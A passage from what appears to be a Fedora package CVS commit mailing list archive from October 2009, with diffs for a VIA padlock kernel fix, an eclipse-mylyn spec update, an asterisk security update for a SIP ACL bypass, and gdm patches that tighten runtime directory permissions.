-	if (unlikely(((unsigned long)in & PAGE_SIZE) + ecb_fetch_bytes > PAGE_SIZE)) {
+	if (unlikely(((unsigned long)in & ~PAGE_MASK) + ecb_fetch_bytes > PAGE_SIZE))
 		ecb_crypt_copy(in, out, key, cword, count);
-		return;
-	}
-
-	rep_xcrypt_ecb(in, out, key, cword, count);
+	else
+		rep_xcrypt_ecb(in, out, key, cword, count);
 }
 
 static inline u8 *cbc_crypt(const u8 *in, u8 *out, u32 *key,
 			    u8 *iv, struct cword *cword, int count)
 {
 	/* Padlock in CBC mode fetches at least cbc_fetch_bytes of data. */
-	if (unlikely(((unsigned long)in & PAGE_SIZE) + cbc_fetch_bytes > PAGE_SIZE))
+	if (unlikely(((unsigned long)in & ~PAGE_MASK) + cbc_fetch_bytes > PAGE_SIZE))
 		return cbc_crypt_copy(in, out, key, iv, cword, count);
 
 	return rep_xcrypt_cbc(in, out, key, iv, cword, count);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1887
retrieving revision 1.1888
diff -u -p -r1.1887 -r1.1888
--- kernel.spec	27 Oct 2009 10:27:30 -0000	1.1887
+++ kernel.spec	27 Oct 2009 15:42:23 -0000	1.1888
@@ -771,6 +771,9 @@ Patch14411: netlink-fix-typo-in-initiali
 Patch14420: perf-events-fix-swevent-hrtimer-sampling.patch
 Patch14421: perf-events-dont-generate-events-for-the-idle-task.patch
 
+# Fix oops in padlock
+Patch14430: crypto-via-padlock-fix-nano-aes.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1442,6 +1445,9 @@ ApplyPatch netlink-fix-typo-in-initializ
 ApplyPatch perf-events-fix-swevent-hrtimer-sampling.patch
 ApplyPatch perf-events-dont-generate-events-for-the-idle-task.patch
 
+# Fix oops in padlock
+ApplyPatch crypto-via-padlock-fix-nano-aes.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2094,6 +2100,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 27 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix oops in VIA padlock-aes code.
+
 * Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
 - kms: add offb handoff patch for ppc to work
 



From akurtakov at fedoraproject.org  Tue Oct 27 15:50:07 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 27 Oct 2009 15:50:07 +0000 (UTC)
Subject: rpms/eclipse-mylyn/devel eclipse-mylyn.spec,1.42,1.43
Message-ID: <20091027155007.3318411C02BB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-mylyn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12513/devel

Modified Files:
	eclipse-mylyn.spec 
Log Message:
* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-2
- Fix cdt description. Bump qualifier to be newer than Galileo update site.


Index: eclipse-mylyn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/eclipse-mylyn.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- eclipse-mylyn.spec	27 Oct 2009 09:25:54 -0000	1.42
+++ eclipse-mylyn.spec	27 Oct 2009 15:50:06 -0000	1.43
@@ -2,7 +2,7 @@
 %define install_loc         %{_datadir}/eclipse/dropins
 # Taken from update site so we match upstream
 # http://download.eclipse.org/tools/mylyn/update/e3.5/
-%define qualifier           v20091015-0500-e3x
+%define qualifier           v20091015-0501-e3x
 
 # Prevent brp-java-repack-jars from being run.  Spaces in the paths of
 # the help content are broken by it.
@@ -11,7 +11,7 @@
 Name: eclipse-mylyn
 Summary: Mylyn is a task-focused UI for Eclipse
 Version: 3.3.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: EPL
 URL: http://www.eclipse.org/mylyn
 
@@ -131,7 +131,7 @@ Requires: eclipse-cdt
 Group: Development/Tools
 
 %description cdt
-Mylyn Task-Focused UI extensions for cDT.  Provides focusing of C/C++
+Mylyn Task-Focused UI extensions for CDT.  Provides focusing of C/C++
 element views and editors.
 
 %prep
@@ -335,6 +335,9 @@ rm -rf %{buildroot}
 # FIXME:  add the doc files back
 
 %changelog
+* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-2
+- Fix cdt description. Bump qualifier to be newer than Galileo update site.
+
 * Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.3.0-1
 - Update to 3.3.0.
 - Add cdt bridge.



From jcollie at fedoraproject.org  Tue Oct 27 15:53:02 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Tue, 27 Oct 2009 15:53:02 +0000 (UTC)
Subject: rpms/asterisk/F-11
	0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch,
	NONE, 1.1 0005-Build-using-external-libedit.patch, 1.7,
	1.8 asterisk.spec, 1.55, 1.56 sources, 1.23, 1.24
Message-ID: <20091027155302.D782F11C00E6@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13184

Modified Files:
	0005-Build-using-external-libedit.patch asterisk.spec sources 
Added Files:
	0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch 
Log Message:
* Tue Oct 27 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.8-1
- Update to 1.6.1.8 to fix bug 531199:
-
- http://downloads.asterisk.org/pub/security/AST-2009-007.html
-
- A missing ACL check for handling SIP INVITEs allows a device to make
- calls on networks intended to be prohibited as defined by the "deny"
- and "permit" lines in sip.conf. The ACL check for handling SIP
- registrations was not affected.


0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch:
 pbx_lua.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch ---
>From a092080315b7bfa9b7d174b6114cb957ac1590d8 Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Fri, 10 Oct 2008 11:54:10 -0500
Subject: [PATCH 08/15] Revert changes to pbx_lua from rev 126363 that cause some problems.

---
 pbx/pbx_lua.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pbx/pbx_lua.c b/pbx/pbx_lua.c
index 6a600a4..a803bd5 100644
--- a/pbx/pbx_lua.c
+++ b/pbx/pbx_lua.c
@@ -42,9 +42,9 @@ ASTERISK_FILE_VERSION(__FILE__, "$Revision$")
 #include "asterisk/paths.h"
 #include "asterisk/hashtab.h"
 
-#include <lua5.1/lua.h>
-#include <lua5.1/lauxlib.h>
-#include <lua5.1/lualib.h>
+#include <lua.h>
+#include <lauxlib.h>
+#include <lualib.h>
 
 static char *config = "extensions.lua";
 static char *registrar = "pbx_lua";
-- 
1.6.1


0005-Build-using-external-libedit.patch:
 build_tools/menuselect-deps.in |    1 +
 configure.ac                   |   22 ++++++++++++++++++++++
 main/Makefile                  |    8 +++++---
 main/cli.c                     |    3 ++-
 makeopts.in                    |    4 ++++
 5 files changed, 34 insertions(+), 4 deletions(-)

Index: 0005-Build-using-external-libedit.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/0005-Build-using-external-libedit.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- 0005-Build-using-external-libedit.patch	8 Oct 2009 13:45:31 -0000	1.7
+++ 0005-Build-using-external-libedit.patch	27 Oct 2009 15:53:00 -0000	1.8
@@ -1,6 +1,6 @@
 Index: build_tools/menuselect-deps.in
 ===================================================================
---- build_tools/menuselect-deps.in	(revision 222649)
+--- build_tools/menuselect-deps.in	(revision 226061)
 +++ build_tools/menuselect-deps.in	(working copy)
 @@ -17,6 +17,7 @@
  IXJUSER=@PBX_IXJUSER@
@@ -12,9 +12,9 @@ Index: build_tools/menuselect-deps.in
  MISDN=@PBX_MISDN@
 Index: configure.ac
 ===================================================================
---- configure.ac	(revision 222649)
+--- configure.ac	(revision 226061)
 +++ configure.ac	(working copy)
-@@ -244,6 +244,7 @@
+@@ -232,6 +232,7 @@
  AST_EXT_LIB_SETUP([ISDNNET], [ISDN4Linux Library], [isdnnet])
  AST_EXT_LIB_SETUP([JACK], [Jack Audio Connection Kit], [jack])
  AST_EXT_LIB_SETUP([LDAP], [OpenLDAP], [ldap])
@@ -22,9 +22,9 @@ Index: configure.ac
  AST_EXT_LIB_SETUP([LTDL], [libtool], [ltdl])
  AST_EXT_LIB_SETUP([LUA], [Lua], [lua])
  AST_EXT_LIB_SETUP([MISDN], [mISDN User Library], [misdn])
-@@ -1605,6 +1606,27 @@
- AC_SUBST(GTK2_INCLUDE)
- AC_SUBST(GTK2_LIB)
+@@ -1593,6 +1594,27 @@
+ AST_EXT_LIB_CHECK([SDL_IMAGE], [SDL_image], [IMG_Load], [SDL_image.h], [${SDL_LIB}], [${SDL_INCLUDE}])
+ AST_EXT_LIB_CHECK([FFMPEG], [avcodec], [sws_getContext], [ffmpeg/avcodec.h], [-lpthread -lz -lm])
  
 +PBX_LIBEDIT=0
 +LIBEDIT_INCLUDE=-Ieditline/readline
@@ -47,12 +47,12 @@ Index: configure.ac
 +AC_SUBST(LIBEDIT_LIB)
 +AC_SUBST(LIBEDIT_OBJ)
 +
- AST_LIBCURL_CHECK_CONFIG([], [7.10.1])
- 
- AC_CONFIG_FILES([build_tools/menuselect-deps makeopts channels/h323/Makefile])
+ # possible places for video4linux version 1
+ AC_CHECK_HEADER([linux/videodev.h],
+ 	[AC_DEFINE_UNQUOTED([HAVE_VIDEODEV_H], 1, [Define to 1 if your system has linux/videodev.h.])])
 Index: main/Makefile
 ===================================================================
---- main/Makefile	(revision 222649)
+--- main/Makefile	(revision 226061)
 +++ main/Makefile	(working copy)
 @@ -129,6 +129,8 @@
  	$(CC) -g -o testexpr2 ast_expr2f.o ast_expr2.o -lm
@@ -82,7 +82,7 @@ Index: main/Makefile
  
 Index: main/cli.c
 ===================================================================
---- main/cli.c	(revision 222649)
+--- main/cli.c	(revision 226061)
 +++ main/cli.c	(working copy)
 @@ -34,6 +34,8 @@
  #include <ctype.h>
@@ -103,9 +103,9 @@ Index: main/cli.c
  /*!
 Index: makeopts.in
 ===================================================================
---- makeopts.in	(revision 222649)
+--- makeopts.in	(revision 226061)
 +++ makeopts.in	(working copy)
-@@ -249,3 +249,7 @@
+@@ -246,3 +246,7 @@
  
  # if poll is not present, let the makefile know.
  POLL_AVAILABLE=@HAS_POLL@


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/asterisk.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- asterisk.spec	25 Oct 2009 12:47:10 -0000	1.55
+++ asterisk.spec	27 Oct 2009 15:53:01 -0000	1.56
@@ -1,8 +1,8 @@
-%define _rc 2
+#define _rc 2
 Summary: The Open Source PBX
 Name: asterisk
-Version: 1.6.1.7
-Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
+Version: 1.6.1.8
+Release: 1%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -12,12 +12,12 @@ Source1: asterisk-logrotate
 Source2: menuselect.makedeps
 Source3: menuselect.makeopts
 Source5: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
-Source6: asterisk-developer-pubring.gpg
 
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
 Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.0.patch
+Patch9:  0008-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch
 Patch11: 0011-Fix-up-some-paths.patch
 Patch12: 0012-Add-LDAP-schema-that-is-compatible-with-Fedora-Direc.patch
 
@@ -383,6 +383,7 @@ local filesystem.
 %patch2 -p0
 %patch5 -p0
 %patch8 -p0
+%patch9 -p1
 %patch11 -p0
 %patch12 -p1
 
@@ -497,6 +498,8 @@ rm -rf %{buildroot}%{_datadir}/asterisk/
 rm -rf %{buildroot}%{_sbindir}/hashtest
 rm -rf %{buildroot}%{_sbindir}/hashtest2
 
+rm -rf %{buildroot}%{_datadir}/asterisk/firmware/iax/*
+
 find doc/api/html -name \*.map -size 0 -delete
 
 %clean
@@ -990,6 +993,16 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Tue Oct 27 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.8-1
+- Update to 1.6.1.8 to fix bug 531199:
+-
+- http://downloads.asterisk.org/pub/security/AST-2009-007.html
+-
+- A missing ACL check for handling SIP INVITEs allows a device to make
+- calls on networks intended to be prohibited as defined by the "deny"
+- and "permit" lines in sip.conf. The ACL check for handling SIP
+- registrations was not affected.
+
 * Sat Oct 24 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.4.rc2
 - Add an AST_EXTRA_ARGS option to the init script
 - have the init script to cd to /var/spool/asterisk to prevent annoying message


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	8 Oct 2009 13:45:31 -0000	1.23
+++ sources	27 Oct 2009 15:53:01 -0000	1.24
@@ -1,3 +1,2 @@
-dd089905d0ba9a514359dc2cf1a53303  asterisk-developer-pubring.gpg
-c25b294aa92b547fab5484bf436c9dd2  asterisk-1.6.1.7-rc2.tar.gz
-863d39c44b7ea1c6588535f1a56c2b1a  asterisk-1.6.1.7-rc2.tar.gz.asc
+98ed805d9c0579942b26e056506a62c0  asterisk-1.6.1.8.tar.gz
+f1ef4d98dadea6ee91f153f9180fea0a  asterisk-1.6.1.8.tar.gz.asc



From rstrode at fedoraproject.org  Tue Oct 27 15:53:46 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 27 Oct 2009 15:53:46 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-run-dir-permissions.patch, NONE, 1.1 gdm.spec,
	1.507, 1.508
Message-ID: <20091027155346.B805C11C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13596

Modified Files:
	gdm.spec 
Added Files:
	fix-run-dir-permissions.patch 
Log Message:
- Tighten permissions on /var/run/gdm (bug 531063)


fix-run-dir-permissions.patch:
 b/configure.ac                     |   17 +++++++++++++++++
 b/daemon/Makefile.am               |    1 +
 b/daemon/gdm-display-access-file.c |   14 +++++++-------
 b/daemon/gdm-greeter-session.c     |    1 +
 b/daemon/gdm-welcome-session.c     |   33 ++++++++++++++++++++++++++++++++-
 b/data/Makefile.am                 |    8 ++++++++
 b/utils/Makefile.am                |    1 +
 b/utils/gdm-screenshot.c           |    6 +-----
 configure.ac                       |    3 +--
 data/Makefile.am                   |    3 +--
 10 files changed, 70 insertions(+), 17 deletions(-)

--- NEW FILE fix-run-dir-permissions.patch ---
>From 5475c0a823cf94f817821105b40760d902d9ace5 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 27 Oct 2009 10:40:55 -0400
Subject: [PATCH 1/4] Make screenshot dir a configure argument

This provides a little more flexibility to distributors,
but more importantly makes it less hard coded in gdm-screenshot.c
---
 configure.ac           |   17 +++++++++++++++++
 data/Makefile.am       |    8 ++++++++
 utils/Makefile.am      |    1 +
 utils/gdm-screenshot.c |    5 +----
 4 files changed, 27 insertions(+), 4 deletions(-)

diff --git a/configure.ac b/configure.ac
index 4fe4430..0dd2658 100644
--- a/configure.ac
+++ b/configure.ac
@@ -1237,6 +1237,23 @@ fi
 AC_SUBST(GDM_XAUTH_DIR)
 
 dnl ---------------------------------------------------------------------------
+dnl - Directory for greeter screenshot
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_WITH(screenshot-dir,
+            AS_HELP_STRING([--with-screenshot-dir=<dir>],
+                           [directory to store greeter screenshot]))
+
+if ! test -z "$with_screenshot_dir"; then
+   GDM_SCREENSHOT_DIR=$with_screenshot_dir
+else
+   GDM_SCREENSHOT_DIR=${localstatedir}/run/gdm
+fi
+
+AC_SUBST(GDM_SCREENSHOT_DIR)
+
+
+dnl ---------------------------------------------------------------------------
 dnl - Finish
 dnl ---------------------------------------------------------------------------
 
diff --git a/data/Makefile.am b/data/Makefile.am
index 73fa106..608194d 100644
--- a/data/Makefile.am
+++ b/data/Makefile.am
@@ -13,6 +13,7 @@ predir = $(gdmconfdir)/PreSession
 postlogindir = $(gdmconfdir)/PostLogin
 workingdir = $(GDM_WORKING_DIR)
 xauthdir = $(GDM_XAUTH_DIR)
+screenshotdir = $(GDM_SCREENSHOT_DIR)
 cachedir = $(localstatedir)/cache/gdm
 
 Xsession: $(srcdir)/Xsession.in
@@ -123,6 +124,7 @@ uninstall-hook:
 	-rf \
 	$(DESTDIR)$(workingdir)/.gconf.mandatory \
 	$(DESTDIR)$(xauthdir)
+	$(DESTDIR)$(screenshotdir)
 
 install-data-hook: gdm.conf-custom Xsession Init PostSession PreSession gconf.path
 	if test '!' -d $(DESTDIR)$(gdmconfdir); then \
@@ -204,6 +206,12 @@ install-data-hook: gdm.conf-custom Xsession Init PostSession PreSession gconf.pa
 		chown root:gdm $(DESTDIR)$(xauthdir) || : ; \
 	fi
 
+	if test '!' -d $(DESTDIR)$(screenshotdir); then \
+		$(mkinstalldirs) $(DESTDIR)$(screenshotdir); \
+		chmod 0755 $(DESTDIR)$(screenshotdir); \
+		chown gdm:gdm $(DESTDIR)$(screenshotdir) || : ; \
+	fi
+
 	if test '!' -d $(DESTDIR)$(workingdir); then \
 		$(mkinstalldirs) $(DESTDIR)$(workingdir); \
 		chmod 1770 $(DESTDIR)$(workingdir); \
diff --git a/utils/Makefile.am b/utils/Makefile.am
index 0b6ea04..f1ff331 100644
--- a/utils/Makefile.am
+++ b/utils/Makefile.am
@@ -4,6 +4,7 @@ AM_CPPFLAGS = \
 	-I.						\
 	-I..						\
 	-DLOCALSTATEDIR=\""$(localstatedir)"\" 		\
+	-DGDM_SCREENSHOT_DIR=\""$(GDM_SCREENSHOT_DIR)"\"\
 	-DGNOMELOCALEDIR=\""$(datadir)/locale"\" 	\
 	$(UTILS_CFLAGS)					\
 	$(CANBERRA_GTK_CFLAGS)				\
diff --git a/utils/gdm-screenshot.c b/utils/gdm-screenshot.c
index f66de46..12102f2 100644
--- a/utils/gdm-screenshot.c
+++ b/utils/gdm-screenshot.c
@@ -163,11 +163,8 @@ screenshot_save (GdkPixbuf *pixbuf)
         char       *filename;
         gboolean    res;
         GError     *error;
-        const char *save_dir;
 
-        save_dir = LOCALSTATEDIR "/run/gdm";
-
-        filename = g_build_filename (save_dir,
+        filename = g_build_filename (GDM_SCREENSHOT_DIR,
                                      "GDM-Screenshot.png",
                                      NULL);
 
-- 
1.6.5.1


>From 1fe51c8f69dc93033d2035c27389377090f21b78 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 27 Oct 2009 11:25:19 -0400
Subject: [PATCH 2/4] Create screenshot dir at runtime if not available

We want the screenshot dir to be owned by the GDM user,
so the greeter can write screenshots to it.
---
 daemon/Makefile.am           |    1 +
 daemon/gdm-greeter-session.c |    1 +
 daemon/gdm-welcome-session.c |   32 ++++++++++++++++++++++++++++++++
 3 files changed, 34 insertions(+), 0 deletions(-)

diff --git a/daemon/Makefile.am b/daemon/Makefile.am
index a122a15..ab10dc5 100644
--- a/daemon/Makefile.am
+++ b/daemon/Makefile.am
@@ -15,6 +15,7 @@ AM_CPPFLAGS = \
 	-DSBINDIR=\"$(sbindir)\"			\
 	-DGNOMELOCALEDIR=\""$(datadir)/locale"\"	\
 	-DGDM_XAUTH_DIR=\"$(GDM_XAUTH_DIR)\"		\
+	-DGDM_SCREENSHOT_DIR=\"$(GDM_SCREENSHOT_DIR)\"		\
 	-DGDM_CACHE_DIR=\""$(localstatedir)/cache/gdm"\"	\
 	-DGDM_SESSION_DEFAULT_PATH=\"$(GDM_SESSION_DEFAULT_PATH)\" \
 	$(DISABLE_DEPRECATED_CFLAGS)			\
diff --git a/daemon/gdm-greeter-session.c b/daemon/gdm-greeter-session.c
index aae1928..994acbc 100644
--- a/daemon/gdm-greeter-session.c
+++ b/daemon/gdm-greeter-session.c
@@ -156,6 +156,7 @@ gdm_greeter_session_new (const char *display_name,
                                "x11-display-device", display_device,
                                "x11-display-hostname", display_hostname,
                                "x11-display-is-local", display_is_local,
+                               "runtime-dir", GDM_SCREENSHOT_DIR,
                                NULL);
 
         return GDM_GREETER_SESSION (object);
diff --git a/daemon/gdm-welcome-session.c b/daemon/gdm-welcome-session.c
index b58e855..f340660 100644
--- a/daemon/gdm-welcome-session.c
+++ b/daemon/gdm-welcome-session.c
@@ -63,6 +63,7 @@ struct GdmWelcomeSessionPrivate
 
         char           *user_name;
         char           *group_name;
+        char           *runtime_dir;
 
         char           *x11_display_name;
         char           *x11_display_device;
@@ -91,6 +92,7 @@ enum {
         PROP_X11_DISPLAY_IS_LOCAL,
         PROP_USER_NAME,
         PROP_GROUP_NAME,
+        PROP_RUNTIME_DIR,
         PROP_SERVER_ADDRESS,
         PROP_COMMAND,
         PROP_SERVER_DBUS_PATH,
@@ -408,6 +410,7 @@ rotate_logs (const char *path,
 typedef struct {
         const char *user_name;
         const char *group_name;
+        const char *runtime_dir;
         const char *log_file;
 } SpawnChildData;
 
@@ -435,6 +438,10 @@ spawn_child_setup (SpawnChildData *data)
                 _exit (1);
         }
 
+        g_debug ("GdmWelcomeSession: Setting up run time dir %s", data->runtime_dir);
+        g_mkdir (data->runtime_dir, 0755);
+        chown (data->runtime_dir, pwent->pw_uid, pwent->pw_gid);
+
         g_debug ("GdmWelcomeSession: Changing (uid:gid) for child process to (%d:%d)",
                  pwent->pw_uid,
                  grent->gr_gid);
@@ -552,6 +559,7 @@ static gboolean
 spawn_command_line_async_as_user (const char *command_line,
                                   const char *user_name,
                                   const char *group_name,
+                                  const char *runtime_dir,
                                   const char *log_file,
                                   char      **env,
                                   GPid       *child_pid,
@@ -575,6 +583,7 @@ spawn_command_line_async_as_user (const char *command_line,
 
         data.user_name = user_name;
         data.group_name = group_name;
+        data.runtime_dir = runtime_dir;
         data.log_file = log_file;
 
         local_error = NULL;
@@ -756,6 +765,7 @@ gdm_welcome_session_spawn (GdmWelcomeSession *welcome_session)
         ret = spawn_command_line_async_as_user (welcome_session->priv->command,
                                                 welcome_session->priv->user_name,
                                                 welcome_session->priv->group_name,
+                                                welcome_session->priv->runtime_dir,
                                                 log_path,
                                                 (char **)env->pdata,
                                                 &welcome_session->priv->pid,
@@ -928,6 +938,14 @@ _gdm_welcome_session_set_group_name (GdmWelcomeSession *welcome_session,
 }
 
 static void
+_gdm_welcome_session_set_runtime_dir (GdmWelcomeSession *welcome_session,
+                                      const char        *dir)
+{
+        g_free (welcome_session->priv->runtime_dir);
+        welcome_session->priv->runtime_dir = g_strdup (dir);
+}
+
+static void
 _gdm_welcome_session_set_server_dbus_path (GdmWelcomeSession *welcome_session,
                                            const char        *name)
 {
@@ -998,6 +1016,9 @@ gdm_welcome_session_set_property (GObject      *object,
         case PROP_GROUP_NAME:
                 _gdm_welcome_session_set_group_name (self, g_value_get_string (value));
                 break;
+        case PROP_RUNTIME_DIR:
+                _gdm_welcome_session_set_runtime_dir (self, g_value_get_string (value));
+                break;
         case PROP_SERVER_ADDRESS:
                 gdm_welcome_session_set_server_address (self, g_value_get_string (value));
                 break;
@@ -1054,6 +1075,9 @@ gdm_welcome_session_get_property (GObject    *object,
         case PROP_GROUP_NAME:
                 g_value_set_string (value, self->priv->group_name);
                 break;
+        case PROP_RUNTIME_DIR:
+                g_value_set_string (value, self->priv->runtime_dir);
+                break;
         case PROP_SERVER_ADDRESS:
                 g_value_set_string (value, self->priv->server_address);
                 break;
@@ -1154,6 +1178,13 @@ gdm_welcome_session_class_init (GdmWelcomeSessionClass *klass)
                                                               GDM_GROUPNAME,
                                                               G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
         g_object_class_install_property (object_class,
+                                         PROP_RUNTIME_DIR,
+                                         g_param_spec_string ("runtime-dir",
+                                                              "runtime dir",
+                                                              "runtime dir",
+                                                              NULL,
+                                                              G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
+        g_object_class_install_property (object_class,
                                          PROP_SERVER_ADDRESS,
                                          g_param_spec_string ("server-address",
                                                               "server address",
@@ -1267,6 +1298,7 @@ gdm_welcome_session_finalize (GObject *object)
         g_free (welcome_session->priv->command);
         g_free (welcome_session->priv->user_name);
         g_free (welcome_session->priv->group_name);
+        g_free (welcome_session->priv->runtime_dir);
         g_free (welcome_session->priv->x11_display_name);
         g_free (welcome_session->priv->x11_display_device);
         g_free (welcome_session->priv->x11_display_hostname);
-- 
1.6.5.1


>From 81870b019c929694ea392359b0a66b0a500c7d5c Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 27 Oct 2009 11:43:15 -0400
Subject: [PATCH 3/4] Move default screenshot dir to it's own subdirectory

---
 configure.ac |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/configure.ac b/configure.ac
index 0dd2658..93917e2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -1247,7 +1247,7 @@ AC_ARG_WITH(screenshot-dir,
 if ! test -z "$with_screenshot_dir"; then
    GDM_SCREENSHOT_DIR=$with_screenshot_dir
 else
-   GDM_SCREENSHOT_DIR=${localstatedir}/run/gdm
+   GDM_SCREENSHOT_DIR=${localstatedir}/run/gdm/greeter
 fi
 
 AC_SUBST(GDM_SCREENSHOT_DIR)
-- 
1.6.5.1


>From c96697431529ed87dbdbb987ed92ac2286b247b7 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 27 Oct 2009 10:35:37 -0400
Subject: [PATCH 4/4] Lock down /var/run/gdm

We don't need it so open now that screenshots are written to their
own directory, and having it open has implications for quota abuse.
---
 daemon/gdm-display-access-file.c |   14 +++++++-------
 data/Makefile.am                 |    2 +-
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/daemon/gdm-display-access-file.c b/daemon/gdm-display-access-file.c
index a3d3e2f..1b52f15 100644
--- a/daemon/gdm-display-access-file.c
+++ b/daemon/gdm-display-access-file.c
@@ -268,10 +268,10 @@ _create_xauth_file_for_user (const char  *username,
         fp = NULL;
         fd = -1;
 
-        /* Create directory if not exist, then set permission 01775 and ownership root:gdm */
+        /* Create directory if not exist, then set permission 0711 and ownership root:gdm */
         if (g_file_test (GDM_XAUTH_DIR, G_FILE_TEST_IS_DIR) == FALSE) {
                 g_unlink (GDM_XAUTH_DIR);
-                if (g_mkdir (GDM_XAUTH_DIR, S_ISVTX | S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH) != 0) {
+                if (g_mkdir (GDM_XAUTH_DIR, 0711) != 0) {
                         g_set_error (error,
                                      G_FILE_ERROR,
                                      g_file_error_from_errno (errno),
@@ -279,15 +279,15 @@ _create_xauth_file_for_user (const char  *username,
                         goto out;
                 }
 
-                g_chmod (GDM_XAUTH_DIR, S_ISVTX | S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH);
+                g_chmod (GDM_XAUTH_DIR, 0711);
                 _get_uid_and_gid_for_user (GDM_USERNAME, &uid, &gid);
                 if (chown (GDM_XAUTH_DIR, 0, gid) != 0) {
                         g_warning ("Unable to change owner of '%s'",
                                    GDM_XAUTH_DIR);
                 }
         } else {
-                /* if it does exist make sure it has correct mode 01775 */
-                g_chmod (GDM_XAUTH_DIR, S_ISVTX | S_IRWXU |S_IRWXG | S_IROTH | S_IXOTH);
+                /* if it does exist make sure it has correct mode 0711 */
+                g_chmod (GDM_XAUTH_DIR, 0711);
 
                 /* and clean up any stale auth subdirs */
                 clean_up_stale_auth_subdirs ();
@@ -368,8 +368,8 @@ _create_xauth_file_for_user (const char  *username,
         }
 
         /* now open up permissions on per-session directory */
-        g_debug ("GdmDisplayAccessFile: chmoding %s to 1777", dir_name);
-        g_chmod (dir_name, S_ISVTX | S_IRWXU | S_IRWXG | S_IRWXO);
+        g_debug ("GdmDisplayAccessFile: chmoding %s to 0711", dir_name);
+        g_chmod (dir_name, 0711);
 
         errno = 0;
         fp = fdopen (fd, "w");
diff --git a/data/Makefile.am b/data/Makefile.am
index 608194d..dfbd096 100644
--- a/data/Makefile.am
+++ b/data/Makefile.am
@@ -202,7 +202,7 @@ install-data-hook: gdm.conf-custom Xsession Init PostSession PreSession gconf.pa
 
 	if test '!' -d $(DESTDIR)$(xauthdir); then \
 		$(mkinstalldirs) $(DESTDIR)$(xauthdir); \
-		chmod 1777 $(DESTDIR)$(xauthdir); \
+		chmod 0711 $(DESTDIR)$(xauthdir); \
 		chown root:gdm $(DESTDIR)$(xauthdir) || : ; \
 	fi
 
-- 
1.6.5.1



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.507
retrieving revision 1.508
diff -u -p -r1.507 -r1.508
--- gdm.spec	26 Oct 2009 19:14:39 -0000	1.507
+++ gdm.spec	27 Oct 2009 15:53:46 -0000	1.508
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
